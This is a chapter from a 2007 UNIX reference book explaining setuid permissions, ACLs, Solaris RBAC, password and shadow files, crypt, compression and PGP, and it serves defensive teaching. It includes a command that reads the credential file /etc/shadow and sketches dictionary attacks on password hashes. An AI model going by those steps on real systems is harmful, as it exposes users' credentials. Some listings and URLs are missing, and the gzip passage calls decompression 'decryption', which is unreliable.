System Security - System Administration - UNIX: The Complete Reference (2007)

UNIX: The Complete Reference (2007)

Part III: System Administration

Chapter 12: System Security


The UNIX System was designed so that users could easily access their resources and share information with other users. Security was an important, but secondary, concern. Nevertheless, UNIX has always included features to protect it from unauthorized users and to protect users’ resources, without impeding authorized users. These security capabilities have provided a degree of protection. However, intruders have managed to access many computers because of careless system administration or unplugged security holes.

In recent releases, UNIX has included security enhancements that make it more difficult for unauthorized users to gain access. Security holes that have been identified have been corrected.

Chapters 2 and 3 discussed how UNIX authenticates users when they log in via login names and passwords and described how file permissions restrict access to particular resources. This chapter describes additional security features relating to users.

The first topic addressed in this chapter involves permissions granted to executable files. In particular, we discuss the setuid bit associated with a program. When the setuid bit is set on a file, the executable file takes on the privileges of the owner of the file when it is executed. Improper use of setuid can lead to serious security problems.

Next, we briefly discuss two more sophisticated types of access control that build on the basic read-write-execute permissions discussed earlier in the book. The first method, access control lists, can be used to grant file permissions to arbitrary sets of users. The second method, role-based access control, allows privileges to be granted to users only when they need to carry out particular sets of tasks. Both access control lists and role-based access control can considerably enhance the security of a system.

Additional topics discussed in this chapter are the /etc/passwd and /etc/shadow files used by the login program to authenticate users, and file encryption via the crypt command. Pretty Good Privacy (PGP), and the related GNU Privacy Guard, used for encrypting files to be sent over a network, such as the Internet, are also covered. Moreover, this chapter describes some common security gaps and different types of attacks, including viruses, worms, and Trojan horses. Some guidelines will be provided for user security Following these guidelines will lessen your security risks.

You will also learn about the restricted shell, a version of the standard shell with restrictions that can be used to limit the capabilities of certain users. The main use of the restricted shell is to provide an environment for unskilled users. It is important to realize that the restricted shell does not provide a high degree of security

Finally, you will see how UNIX fits in with the security levels specified by the U.S. Department of Defense.

Today, networked computing is the norm, making network security extremely important as more and more systems are linked into networks that allow users to access resources on remote machines. UNIX System network security is addressed in Chapters 9, 15, and 17. Although this chapter does not address security from a system administrator’s point of view, Chapter 13 does.

Security Is Relative

Be aware that security is relative. The security features discussed in this chapter provide varying degrees of security Some of them provide only limited protection and can be circumvented by knowledgeable users. Many can be successfully attacked by experts. (These will be indicated in the text.) Providing security that is highly resistant requires specific procedures that can be found in special versions of UNIX developed to meet security requirements spelled out by the U.S. Department of Defense.

User and Group IDs

When you execute a program, you create a process. Four identifiers are assigned to this process upon its creation. These are its real uid, real gid, effective uid, and effective gid.

File access for a process is determined by its effective uid and effective gid. This means that the process has the same access to a file as the owner of this file, if its effective uid is the same as the uid of the file. When the effective uid is different than the uid of the file, but the effective gid of the process is the same as the gid of the file, the process has the same access as the group associated to the file. Finally, when the effective ID of the process is different from the effective uid of a file, and the effective gid of the process is different from the effective gid of the file, the process has the same access to the file as others (users besides the owner and members of the group).

Unless the set user ID (suid) permission and/or the set group ID (sgid) permission of an executable file are set, the process created is assigned your uid and gid as its real and effective uid and real and effective gid, respectively In this case, the process has exactly the same permissions that you do. For instance, for the process to execute a program, you must have execute permission for the file containing this program.

Setting User ID Permission

When the suid permission of an executable file is set, a process created from the program has its effective uid set to that of the owner of the file, instead of your own uid. This means that the file access privileges of the process are determined by the permissions of the owner of the file. For instance, if the suid permission is set, a process can create a file when the owner of the file has execute permission and write permission for the directory where the file will be created.

Uses of suid Permissions

The suid permission is used in several important user programs that need to read or write files owned by root. For instance, when you run the passwd command to change your password, you have the same permissions as root. This allows you to read and write to the files /etc/passwd and /etc/shadow when you change passwords, although ordinarily you do not have access privileges.

Using chmod to Set and Remove suid Permissions

You can use chmod to set the suid permission of a file that you own. For instance,

$ chmod u+s displaysal

sets the suid permission of displaysal. This is a hypothetical program owned by the departmental secretary that a user can run to display his or her salary, using the file salary, which contains salary information for all members of Department X. The salary file has its permissions set so that only its owner and the departmental secretary (as well as the superuser) can read or write it. The ls -l line for this file is given here:

-rws--x--- 1 ptc 471 2561 Oct 6 02:32 displaysal

A user who is a member of the group 471 can run the displaysal program. All members of Department X are assigned to group 471. Because displaysal has its suid permission set, the permissions of the process created are those of ptc, the owner of the program. So the process can read the file salary and can display the salary information for the person who runs the program.

You also can use chmod to remove the suid permission of a file. The command

$ chmod u-s displaysal

removes the suid permission from displaysal.

Setting Group ID Permission

If the set group ID permission of an executable file is set, any process created by that executable file has the same group access permissions as the group associated with the executable file. To set the sgid of the file displaysal, use the following command:

$ chmod g+s displaysal

Assuming the suid for this file is not set, the ls -l line for this file is this:

-rwx--s--- 1 ptc 471 2561 Oct 6 02:32 displaysal

The effective uid of a process created by running displaysal is the uid of the user running the program, but the effective gid will be 471, the gid associated with displaysal.

Changing suid and sgid Permissions

You can set suid and sgid permissions by supplying chmod with a string of four octal digits. The leftmost digit changes the suid or sgid permissions; the other three digits change the read, write, and execute permissions, as previously described.

If the first digit is 6, both the suid and sgid permissions are set. If it is 4, the suid permission is set and the sgid permission is not set. If the first digit is 2, the suid permission is not set and the sgid permission is set. And if it is 0 (or missing), neither the suid permission nor the sgid permission is set. In the following example, the suid permission is set and the sgid permission is not set:

$ chmod 4744 displaysal

$ ls −1 | grep displaysal

-rwsr-r-- 1 ptc 471 15 Oct 17 12:12 displaysal

In the next example, the suid permission is not set and the sgid permission is set:

$ chmod 2744 displaysal

$ ls −1 | grep displaysal

-rwxr-sr-- 1 ptc 471 15 Oct 17 12:12 displaysal

suid Security Problems

When you are the owner of a suid program, other users have all your privileges when they run this program. Unless care is taken, this can make your resources vulnerable to attack. For instance, suppose you have included a command that allows a shell escape in a suid program. Any user running this program will be able to escape to a shell that has your privileges assigned to it, which lets this user have the same access to your resources as you do. This user could copy, modify, or delete your files or execute any of your programs.

Because of this, and other security problems, you should be extremely careful when writing suid or sgid programs. Guidelines for writing these programs, without opening security gaps, can be found in the references listed at the end of this chapter.

Access Control Lists

As described in Chapter 3, three different types of file permissions exist in UNIX, namely read (r), write (w), and execute (x), assigned to three different classes of users, namely owner, group, and others. However, this granularity of access control is not sufficient to grant access permissions to every possible set of users. For example, suppose you want to grant read permissions to a file only to yourself, as the owner of the file, users in the group of the file, and two other users not in this group, but not to all other users. This cannot be done using standard UNIX permissions. To remedy this problem, most UNIX variants, including Linux, Solaris, HP-UX, AIX, Mac OS X, and FreeBSD support access control lists (ACLs). ACLs can be used to grant access permissions to any possible set of users. We illustrate the use of ACL by discussing their use in HP-UX.


Each file on an HP-UX system (supporting access control lists) has its own ACL. An ACL consists of a list of access control entries (ACEs), where each ACL has the format (, permissions), where useris a particular username or a % (percentage sign) and group is a particular group or a %. A % is used to indicate that access is not restricted to a specific user or group. Examples of ACEs are (ken11.group3, rw-), (robin13.%, r--), (%.group3, -w-), and (%.%,rw). These entries specify that user ken11 in group3 has only read and write permissions to this file, user robin13 has only read permission, all members of group3 are granted only write permission, and all users in all groups have only read and write permissions, respectively

On HP-UX the lsacl (list access control list) command is used to display the ACL of a file. For example, the command

# lsacl memo

(lori9.%, rw-) (ken11.%, rw-) (%.group4, rw-) (%, %, r--)

shows that lori9, ken11, and all users in group4 have read and write permissions on the file memo and other users in all groups have read permissions. Note that when a user attempts to access a file, ACEs are checked according to the form of their first entry. ACEs in which the first entry has the form uid.gid are checked first, followed by those where the first entry has the form uid.%, followed by those where the first entry has the form %.gid, followed by those where the first entry has the form %.%.

The chacl (change access control list) command is used to add, delete, or modify ACEs from an ACL. For instance, the command

# chacl "robin13.%=rw" memo

is used to grant read and write permissions to robin13 for the file memo,

# chacl -d "ken11.group3=rw" memo

deletes the ACE that granted read and write permissions to ken11 for the file memo, and

#chacl "heather3.group4-w" memo

removes write access to heather3 for the file memo.

For more details on how ACLs are used in HP-UX and how they behave when various commands are used, see your HP-UX manual pages or the book HP-UX System and Administration Guide by Jay Shah.

Role-Based Access Control

A powerful type of access control, called role-based access control (RBAC), is provided by Solaris. RBAC can provide a high level of security on systems and networks where users are restricted in their capabilities. RBAC is based on the principle of least privilege, which means that a user is granted only the privileges necessary to perform those jobs this user needs to perform. Ordinary users on a system require sufficient privilege to do tasks of a user rather than an administrator, such as running applications, creating and editing files, printing files, and so on. Capabilities beyond those of ordinary users, including administrative tasks, such as adding new users, scheduling tasks, adding or removing devices, managing printers, and so on, are grouped into rights profiles. When a user must perform a task that requires some of the capabilities of the superuser, this user assumes a role that requires the use of capabilities in the appropriate rights profile. Solaris comes with three default rights profiles; the rules and the assignment of profiles are left to the owner of the system. The three default rights profiles are: Primary Administrator, granted the capabilities of superuser; System Administrator, granted the capabilities required for system administration not related to security; and Operator, granted the capabilities required for basic administrative tasks, such as system backups, device management, and printer management.

In UNIX systems, the capabilities of the superuser, or root, are not limited. The superuser can read and write to any file, run all programs, and send signals to every process, including the kill signal. Furthermore, setuid programs, which have all the privileges of root, can do anything the superuser can. So, anybody or any program that can become superuser can cause havoc on a system or a network. For instance, this person or program could read private files, modify a firewall, change an audit trail, and even shut down a network.

Role-based access controls support a fine-grained enforcement of a security policy, whereas the superuser model offers only an all-or-nothing approach. The rights profiles that contain particular subsets of the capabilities of root are assigned to special user accounts called roles. When a user needs to carry out a job, that user is allowed to assume a particular role, granting all the capabilities required to do that job. Rights profiles can be broadly defined to fit the needs of users who perform a wide variety of tasks. For example, one of the default rights profiles is that of the Primary Administrator, who has all the capabilities of a superuser on a traditional UNIX host. But rights profiles can also be narrowly defined. For instance, we can specify that the Cron Management rights profile has the capabilities of managing at and cron jobs.

Once rights profiles have been defined, the roles can be created by the superuser. Next, the superuser assigns each role to the user or users trusted to do the tasks of that role. Once a user logs in, that user can assume any of the roles granted to that user and can run restricted administrative commands, as well as restricted GUIs for administrative tasks.

How roles are defined is a function of the security needs of an organization. For instance, roles can be established for security administrators, network administrators, firewall and proxy administration, printer management, and so on. Another commonly defined role is the role of advanced user. This role is for users who should be able to administer portions of their own computers.

For more information about RBAC, including the concepts behind, the Solaris implementations, and information about how to implement and use RBAC in Solaris, see the Solaris documentation on RBAC, which can be reached by first going to, or Solaris 10: The Complete Reference by Paul Watters.

Password Files

Most UNIX variants keep information about users in two files, /etc/passwd and /etc/shadow. These files are used by the login program to authenticate users and to set up their initial work environment. All users can read the /etc/passwd file. However, only root can read /etc/ shadow, which contains encrypted passwords. (Note: HP-UX is an exception; how HP-UX handles this will be covered later in this section.)

The /etc/passwd File

There is a line in /etc/passwd for each user and for certain login names used by the system. Each of these lines contains a sequence of fields, separated by colons. The following example shows a typical /etc/passwd file:

$ cat /etc/passwd






setup:x:0:0:general system administration:/usr/admin:/usr/sbin/setup

powerdown:x:0:0:general system administration:/usr/admin:/usr/sbin/powerdown

sysadm:x:0:0:general system administration:/usr/admin:/usr/sbin/sysadm

checkfsys:x:0:0:check diskette file system:/usr/admin:/usr/sbin/checkfsys

makefsys:x:0:0:make diskette file system:/usr/admin:/usr/sbin/makefsys

mountfsys:x:0:0:mount diskette file system:/usr/admin:/usr/sbin/mountfsys

umountfsys:x:0:0:unmount diskette file system:/usr/admin:/usr/sbin/umountfsys




listen:x:37:4:Network Admin:/usr/net/nls:

slan:x:57:57:StarGROUP Software NPP Administration:/usr/slan:

jmf:x:1005:21:James M. Farber:/home/jmf:/bin/csh

rrr:x:1911:21:Richard R. Rosinski:/home/rrr:/bin/rsh

khr:x:3018:21:Kenneth H. Rosen:/home/khr:/bin/ksh

The first field of a line in the /etc/passwd file contains the login name, which is one to seven characters for users. The second field contains the placeholder x. In earlier versions of UNIX (such as System V before Release 3.2), this field contained an encrypted password, leading to a security weakness, since anyone who could access this file could grab encrypted passwords and use them to try to figure out unencrypted passwords. Always using an x provides a degree of protection, but it is still a weakness because an intruder can match it. In most UNIX variants (including UNIX System V Release 3.2 and Release 4, and almost all variants based on SVR4) the encrypted password is in /etc/shadow. The third and fourth fields are the user ID and group ID, respectively.

Comments are placed in the fifth field. This field usually contains names of users and often also contains their room numbers and telephone numbers. The comments field for login names associated with system commands is usually used to describe the purpose of the command. The sixth field is the home directory-that is, the initial value of the variable HOME.

The final field names the program that the system automatically executes when the user logs in. This is called the user’s login shell The standard shell, sh, is the default start-up program. So if the final field is empty, sh will be the user’s start-up program.

Root in /etc/passwd

Information on the root login is included on the first line of the /etc/passwd file. The user ID of root is 0, its home directory is the root directory, represented by /, and the initial program the system runs for root is the standard shell, sh, because the last field is empty.

System Login Names

As you can see in the preceding example, the /etc/passwd file contains login names used by the system for its operation and for system administration. These include the following login IDs: daemon, bin, sys, adm, setup, power-down, sysadm, checkfsys, makefsys, mountfsys, and umountfsys. It also includes login names used for networking, such as uucp and nuucp, and listen and slan used for the operation of the StarLAN local area network. The start-up program for each of these lognames can be found in the last field of the associated line in the /etc/passwd file.

The /etc/shadow File

There is a line in /etc/shadow for each line in the /etc/passwd file. The /etc/shadow file contains information about a user’s password and data about password aging. For instance, the file may look like the following:

# cat /etc/shadow




















The first field in a line contains the login name. For users with passwords, the second field contains the encrypted password for this login name. The encrypted password consists of 13 characters from the 64-character alphabet, which includes the following characters:., /, 0–9, AZ, and az. This field contains NP (for No Password) when no password exists for that login name; x for the uucp, nuucp, and slan logins; and *LK* for the listen login. None of these strings (NP, x, and *LK*) can ever be the encrypted version of a valid password, so that it is impossible to log in to one of these system logins, because whatever response is given to the “Password:” prompt will not produce a match with the contents of this field. So these logins are effectively locked.

The third field gives the number of days between January 1,1970, and the day when the password was last changed. The fourth field gives the minimum number of days required between password changes. A user cannot change his or her password again within this number of days.

The fifth field gives the maximum number of days a password is valid. After this number of days, a user is forced to change passwords. The sixth field gives the number of days before the expiration of a password that the user is warned. A warning message will be sent to a user upon logging in to notify the user that their password is set to expire within this many days.

The seventh field gives the number of days of inactivity allowed for this user. If this number of days elapses without the user logging in, the login is locked. The eighth field gives the absolute date (specified by the number of days after January 1,1970; e.g., 10895 is May 3, 1999) when the login may no longer be used. The ninth field is a flag that is not currently used but may be used in the future.

Prior to Release 3.2 of UNIX System V, the /etc/passwd file contained encrypted passwords for users in the second field of each line. Because ordinary users can read this file, an authorized user, or an intruder who has gained access to a login, could gain access to other logins. To do this, the user, or intruder, runs a program to encrypt words from a dictionary of common words or strings formed from names, using the UNIX System algorithm for encrypting passwords (which is not kept secret), and compares the results with encrypted passwords on the system. If a match is found, the intruder has access to the files of a user. This vulnerability has been reduced by placing an x in the second field of the /etc/passwd file and using the /etc/shadow file.

HP-UX Password Security

Most UNIX variants take advantage of the shadow password file to provide password security, but HP-UX does not. Instead, HP-UX uses the concept of a nontrusted system versus a trusted system. A nontrusted system can be converted to a trusted system using the System Administration Manager (SAM) (see Chapter 13). To make this conversion, go to the Auditing and Security area of SAM, which can be done by double-clicking any of the security display icons.

A trusted HP-UX system has a variety of security enhancements. For example, in a trusted system, encrypted passwords are not kept in the /etc/passwd file but instead are moved to a special set of directories not accessible by ordinary users. Furthermore, a trusted system supports security auditing. Moreover, access to hardwired terminals connected to the system can be controlled. Also, access to the system by users can be restricted depending on the time of day.

On a trusted HP-UX system, the second field of an entry in /etc/passwd is an asterisk (*). The encrypted password for a user is kept in a protected password file, /tcb/files/auth/first letter of last name/username, where “first letter of last name” is replaced by the actual first letter of a user’s last name and the username of that user is employed. (Here the directory tcb is short for trusted computer base and auth is short for authorized.) For example, the password for the user with username ken11 is kept in /tcb/files/auth/k/ken11. Each file containing the encrypted password of a user contains many other fields used for auditing purposes and for controlling logins. The information found in this file includes

§ Username (from /etc/passwd)

§ User ID (from /etc/passwd)

§ Encrypted password

§ The time of the last successful login

§ The time of the last unsuccessful login attempt

§ The time allowed between password changes

§ The time of the last successful or unsuccessful attempt to change the password

§ When the password expires

§ The maximum time allowed between logins

§ The length of time when a user is notified before a password expires

§ The time of day when the user is permitted to log in

§ A flag indicating whether audits occur for this user

§ A flag indicating whether the user can select a password or must use one generated by the system

§ A flag indicating whether a password undergoes a check for not being easily guessed

§ The maximum consecutive unsuccessful logins before the account is locked

§ The maximum length of a password

§ The number of unsuccessful login attempts until the next successful attempt

§ The maximum number of consecutive unsuccessful login tries before the account is locked

§ An audit ID

When a user tries to log in, the login program authenticates the user by checking the appropriate fields in the user’s protected password file. The appropriate fields are updated on each logic attempt, successful or not. For details, consult the appropriate manual page for prpwd(4) on your HP-UX system or the book HP-UX System and Administration Guide by Jay Shah.

File Encryption

You may want to keep some of your files confidential, so that no other user can read them, including the superuser. For instance, you may have some confidential personnel records that you do not want others to read. Or you may have source code for some application program that you want to keep secret. You can protect the confidentiality of files by encrypting their contents. When you encrypt the contents of a file, you use a procedure that changes the contents of the file into seemingly meaningless data, known as ciphertext. However, by decrypting the file, you can recover its original contents. The original contents of the file are known as plaintext or cleartext.

Many UNIX variants, other than Linux distributions, provide the crypt command for file encryption. We will describe how to use the crypt command here. Note that the crypt command, if available on your system, cannot withstand serious attack. After we discuss how to use crypt, we will explain why files encrypted using it are vulnerable to attack and why it is not included in Linux. We will also describe replacements for it that can be used for serious encryption.

Using crypt

To use crypt to encrypt a file, you need to supply an encryption key, either as an argument on the command line, as the response to a prompt, or as an environment variable. Do not forget the key you use to encrypt a file, because if you do, you cannot recover the file-not even the system administrator will be able to help. The type of encryption used by the crypt command is called private key encryption, since anyone who knows the encryption key can easily find the decryption key In fact, for crypt the encryption key and the decryption key are exactly the same! (Later in this chapter we will discuss a different kind of encryption system, known as a public key system, where knowing the encryption key does not provide useful help for decryption. In particular, we will discuss the popular Pretty Good Privacy [PGP] system.)

Providing the key on the command line is almost always a bad idea (you’ll see why later in this chapter). However, you may want to use the crypt command in this way inside a shell script. The following example shows this use of crypt. The command line

$ crypt buu2 < letter > letter.enc

encrypts the file letter using the encryption key “buu2”, putting the encrypted contents of the file letter in the file letter.enc. Generally, you won’t be able to view the contents of the file letter.enc, because it probably contains non-ASCII characters.

For instance, if the file letter contains the following text,

$ cat letter


This is a sample letter.

then using crypt with the key “buu2” gives

$ crypt buu2 < letter

R-Sw1;M>6X_4#=R ;w0M4K\$

where the last character, the dollar sign, is the prompt for your next command.

Hiding the Encryption Key

When you use crypt with your encryption key as an argument, you are temporarily making yourself vulnerable. This is because someone running the ps command with the -a option will be able to see the command line you issued, which contains the encryption key

To avoid this vulnerability, you can run crypt without giving it an encryption key When you do this, it will prompt you for the key The string you type as your key is not echoed back to your display Here is an example showing how crypt is run in this way:

$ crypt < letter > letter.enc

Enter Key: buu2

You enter your encryption key at the prompt “Enter Key:”.

Using an Environment Variable

You can also use an environment variable as your key when you encrypt a file with crypt. When you use the -k option to crypt, the key used is the value of the variable CRYPTKEY. For instance, you may have the following line in your .profile:


To encrypt the file letter, you use the command line

$ crypt -k letter

The preceding example encrypts letter using the value of CRYPTKEY, buu2, as the key.

Generally, it is not a good idea to use this method because it uses the same key each time you encrypt a file. This makes it easier for an attacker to cryptanalyze your encrypted files. Also, storing your key in a file makes it vulnerable if an unauthorized user gains access to your .profile.

Decrypting Files

To decrypt your file, run crypt on the encrypted file using the same key This produces your original file, because the process of decrypting is identical to the process of encrypting. Make sure you remember the key you used to encrypt a file. You will not be able to recover your original file if you forget the key, and your system administrator won’t be able to help you.

Using the -x Editor Option

One way to protect a file is to create it using your favorite editor and then encrypt the file using crypt. To modify it, you first need to decrypt the file using crypt, run your editor, and then encrypt the results using crypt. When you use this procedure, the file is unprotected while being edited, since it is in unencrypted form during this time.

To avoid this vulnerability, you can encrypt your files by invoking your editor (ed or vi) with the -x option. For instance, to use vi to create a file named projects using “ag20v3n” as your encryption key, do the following:

$ vi -x projects

Key: ag20v3n

The system prompts you for your encryption key You have to remember it to be able to read and edit this file. To edit the file, run vi -x and enter the same key when you are prompted. You can read the file using this command:

$ crypt < projects

Key: ag20v3n

The Security of crypt

Unfortunately, the encryption provided by this command is quite weak; files encrypted using it cannot withstand a serious attack. The algorithm used by crypt to encrypt files simulates the action of a mechanical encrypting machine known as the Enigma, which was used by Germany during World War II. Files made secret using crypt are vulnerable to attack. For example, tools have been developed by Jim Reeds and Peter Weinberger and publicized in the Bell Laboratories Technical Journal to cryptanalyze files encrypted using crypt. There has even been a distribution on netnews of a program written by Bob Baldwin in 1986 called the Crypt Breaker’s Workbench that performs this cryptanalysis. The moral is that you should not consider files encrypted this way to be very secure.

Strong Replacements for crypt

The primary reason that the crypt command is not included with Linux is that until the mid-1990s, U.S. government regulations prohibited the export of systems that included cryptographic functions, including UNIX with crypt. Surprisingly, such systems were classified as munitions. Computer vendors exporting their UNIX systems outside of the United States. and Canada had to remove the crypt command. Because Linux was meant for worldwide use, Linux developers avoided implementing this command. Furthermore, in the early 1990s more powerful cryptographic capabilities were developed to provide encryption that could withstand serious attacks, including the Pretty Good Privacy system (and the GNU version, the GNU Privacy Guard). We will discuss the Pretty Good Privacy system and the GNU Privacy Guard later in this chapter.

Because the crypt command is cryptographically weak and because it is not available for all UNIX variants, several stronger replacement commands, ccrypt and mcrypt, have been developed. These replacement commands are designed to be used in the same way the crypt command is used, taking options that are almost identical to the command-line options for crypt. This makes it easy to upgrade shell scripts written using crypt to provide strong encryption. These replacements commands support extremely strong encryption capabilities that can withstand powerful attacks. The ccrypt command is available for Linux, Solaris, HP-UX, AIX, Mac OS X, FreeBSD, OpenBSD, and NetBSD. Encryption in ccrypt is based on the Advanced Encryption Standard, a U.S. government standard. You can learn more about ccryptand download it by going to To learn more about mcrypt, which supports a wide range of cryptographic algorithms, go to

Compressing and Encrypting Files

You can protect a file from cryptanalysis by first compressing it and then encrypting it. In this section you’ll first learn how to compress files and then see how to use compression to help make files more secure.

Compressing Files

Compression replaces a file with an encoded version containing fewer bytes. The compressed version of the file contains the same information as the original file. The original file can be recovered from the compressed version by undoing the compression procedure. A compressed version of the file requires less storage space and can be sent over a communications line more quickly than the original file.

Most UNIX variants provide several commands that you can use to compress files. For example, systems based on SVR4 include both the pack and the compress commands. Other systems, including Linux, provide the gzip command (and usually also provide pack or compress).

THE pack COMMAND When you use the pack command on a file, it replaces the original file with a compressed file. The compressed file has the same name as the original file except that it has a .z at the end of the filename. Also, the pack command uses standard error to report the compression percentage (which is the percentage that the compressed file is smaller than the original file). For instance, this is how you would compress the report file using pack:

$ pack report

pack: report: 41.3% Compression

Listing all files that begin with the string report then gives this:

$ ls report*


You can recover your original file from the compressed version by running the unpack command with the original filename as the argument, as shown here:

$ unpack report

unpack: report: unpacked

THE compress COMMAND The pack command uses a technique known as Huffman coding to compress files. Typically this technique achieves 30–40 percent compression of a text file. However, other methods can compress files into fewer bytes. One such compression technique is the Lempel-Ziv method used by the compress command. This command originally came from the BSD System. Because the Lempel-Ziv method is almost always more efficient than Huffman coding, compress will almost never use more bytes than pack to compress a file. Generally, Lempel-Ziv reduces the number of bytes needed to code English text or computer programs by more than 50 percent.

When you run the compress command on a file, your original file is replaced by a file with the same name but appended with .Z. For instance,

$ compress records

$ ls records*


Note that the compress command does not report how efficient its compression is (unlike the pack command) unless you supply it with the -v option, as shown here:

$ compress -v records

records: Compression: 49.17% -- replaced with records.Z

To recover the original file, use the uncompress command. This uncompresses the compressed version of the file, removing the compressed file. For instance, this is how you would obtain the original file records:

$ uncompress records

If you wish to display the uncompressed version of your file but leave the compressed version intact, use this command:

$ zcat records

THE gzip COMMAND The gzip command is the standard GNU compression program. When you use the gzip command on a file, this file is replaced by a compressed version that has the same name as the original file but with the extension .gz added. For example, the command

$ gzip records

replaces the file records with the compressed file records.gz. To decompress files that were encrypted using gzip, you can either use the gunzip command or the gzip command with the -d (decrypt) option. Note that it is not necessary to provide the extension .gz when using either of these decryption commands. For example, either

$ gunzip records


$ gzip -d records

will replace the encrypted file records.gz with the original file records.

Compression and Encryption as Security Measures

To make it harder for an intruder to recover the plaintext version of a file from the encrypted file, you can first compress the file and then encrypt it, preferably by a strong encryption program. Programs designed to cryptanalyze files encrypted using particular algorithms will not work well when you do this. For instance, if you only have the crypt command available, you can make your file more secure by using the packcommand followed by the crypt command. (Note that your files will still be vulnerable to serious attack, but this approach will provide some added security)

$ pack records

pack: records: 41.1% Compression

$ crypt < records.z > records.enc

Enter key: buu2

$ rm records.z

To recover your file, use the crypt command followed by unpack:

$ crypt < records.enc > records.z

Enter key: buu2

$ unpack records

unpack: records: unpacked

You can also combine compress and crypt. To make your file secure, use the compress command followed by the crypt command:

$ compress records

$ crypt < records.Z > records.enc

Enter key: buu2

To recover your original file, use the crypt command followed by uncompress:

$ crypt < records.enc > records.Z

Enter key: buu2

$ uncompress records

Pretty Good Privacy (PGP)

How can you encrypt and send a file to someone so that this person can decrypt it upon receipt, but no one else can decrypt it? One way would be to encrypt the file using the crypt command and then send the file via e-mail, having informed the recipient of the encryption key so that the recipient can decrypt the file. This is awkward, since you need to transmit the encryption key to the recipient separately from the message. For example, you could give the intended recipient the key in person, call this person on the phone to provide the key, or mail the key in a separate e-mail message (which is not terribly secure).

A better solution to this problem is provided by public-key cryptography In public-key cryptography there are separate encryption and decryption keys, and knowing an encryption key does not permit someone to determine (using a reasonable amount of computing resources) a decryption key With public-key cryptography you only need to look up the public key of the intended recipient in a public directory to encrypt a file that will be sent to this person.

Public-key cryptography was invented in the 1970s and began to be used in practice in the early 1980s. Public-key cryptography was introduced to the UNIX world when Philip Zimmerman implemented it in his Pretty Good Privacy (PGP) system, a system designed to encrypt e-mail, as well as other files, in the early 1990s. In the following years, PGP became extremely popular and was available for wide range of UNIX variants, including Linux, as well as for Windows PCs. In the mid-1990s, the U.S. government claimed that Zimmerman was violating export rules for cryptosystems by distributing PGP worldwide, leading to serious legal problems for Zimmerman and for PGP. After much controversy, the case against Zimmerman was finally dropped in 1996. Afterward, Zimmerman started a new company to produce new versions of PGP. However, because of the widespread use of different versions of PGP developed by different teams who had licensed PGP code, the need for a PGP standard became pressing. The Internet Engineering Task Force (IETF) has developed, and continues to develop, the OpenPGP standard. The OpenPGP standards specifies a protocol for encrypting and signing e-mail messages and for certificates used to securely exchange encryption keys.

Both commercial and noncommercial implementations of OpenPGP have been developed. We will briefly address the most popular of these, the GNU Privacy Guard (GPG) after we discuss PGP.

Obtaining and Installing PGP

You can obtain a freeware version of PGP at You can download PGP 6.5 for AIX, HP-UX, Linux, and Solaris, and you download PGP source code for UNIX from this site. (This international site supports a wizard that can be used to download the appropriate version of PGP for your location and your operating system. Note that it is not allowed for someone outside of the United States to download PGP from a site in the United States.) If you intend to use PGP for commercial purposes, you can buy it from the PGP Corporation ( A variety of products are also available that incorporate PGP into applications, such as sending e-mail and making voice calls over the Internet.

Downloading and installing PGP software is rather complicated. If you use a variant of UNIX other than AIX, HP-UX, Linux, or Solaris, you will have to compile programs to install PGP on your system. We will not cover how to do that task here. Rather, we refer you to a good reference, such as the book Practical PGP Privacy by Simson Garfinkel, for step-by-step instructions you can follow for downloading PGP and installing it on your machine. Instead, we will concentrate on how you can use PGP once it is installed and working on your system.

Configuring PGP

Before using PGP (assuming that it is installed on your system), you will need to create a special directory for PGP. Furthermore, you should set the value of a new environment variable, PGPPATH, to this directory First, create a subdirectory .pgp in your home directory, using the command

$ mkdir .pgp

and then add the following line to your .profile:

$ PGPPATH=/home/logname/.pgp; export PGPPATH

with logname replaced by your own logname. Next, you will need to generate your public encryption key, and the corresponding private decryption key To do this, you use the command

$ pgp -kg

When you enter this command, PGP will prompt you for four different types of information.

First, you will be asked to select a key size. As long as you have a relatively fast machine, you should choose 1024 bits. (Messages are more secure when a larger key size is used, but the larger the key size, the longer it will take to encrypt and decrypt messages.)

Next, you will be prompted for a user ID for the key, which is the name that you and other people will use to refer to this key Usually, a user ID for a key is the name of a user followed by the user’s e-mail address enclosed in angle brackets, such as

William J. Clinton <>

Once you have entered the user ID for the key, you will also be prompted for a pass phrase, which you will use to access your secret key As your pass phrase you should select a string of ASCII characters that you can easily remember but that should be difficult for someone else to figure out or guess, such as a string of nonsense words.


If you forget your pass phrase, you will not be able to use your secret key.

Finally, PGP will ask you to do random typing so that it can generate some random numbers. PGP uses the timing to your keystrokes to generate these numbers, so it does not matter what you type. After you have finished responding to all these prompts, PGP generates the public encryption key and the corresponding private decryption key Generating these keys may take your system more than a minute, depending on how fast your system is, and the length of the key that you requested.

Key Rings and Key Servers

PGP uses key rings to store keys. You store your private secret decrypting key (or keys, if you have more than one) on one key ring and your public encrypting key and those of other people on another key ring. By default, your private secret key ring is kept in the file secring.pgp, and your public key ring, in pubring.pgp (although you can use other names for these files if you wish).

When someone else sends you a public key by sending a file containing it, you must add it to your key ring before you can encrypt messages using this key You do this using the command of the form

$ pgp -ka file

For example, to add Alice’s public key, which she sent you in the file alice.pgp, to your public key ring, you use the command

$ pgp -ka alice.pgp

You can view the keys on any of your public key rings using the command

$ pgp -kv keyring

For example, to view the keys on your secret key ring, you simply provide the name of your secret key ring, such as

$ pgp -kv secring.pgp

Someone who wants to send you a message encrypted with your public key must have access to this key The easiest way to give someone your public key is to copy your public key ring (after all, it is just a file). However, you probably should be more careful with this file, since whoever has this view can find out who your e-mail correspondents are.

A better method to give someone your public key is to extract your public key from your public key ring so that it can be shared. To do this, you use a command of the form

$ pgp -kx userid keyfile

where userid provides enough information to uniquely identify your key (such as just your name as described previously) and keyfile is the name of the file that will contain your public key For example, the command

$ pgp -kx rosen rosen.pgp

would extract the public key of the user rosen, putting it in the file rosen.pgp. You provide the file keyfile (in this case, rosen.pgp) to people who will want to send you encrypted messages that you will be able to decrypt.

Another way to publicize your public key so that other people can use it is to send it to a public key server. A public key server acts as a repository of PGP public keys for many different people. A public key server performs the public service of accepting public keys from anyone and allowing anyone to access these keys. Another nice thing about public key servers is that they are interconnected. When you send a key to one of these public key servers, it automatically sends the key on to other public key servers.

You can access a PGP key server via the web at or You can also use an e-mail-based PGP key server; go to for more information about this option.

Encrypting Files

To encrypt an ASCII file, such as a text message, using the public key of the intended recipient of the file, use a command of the form

$ pgp -e file userid

For example, to send the file memo.txt to Alice (who is a user already on your public key key ring), use the command

$ pgp -e memo.txt Alice

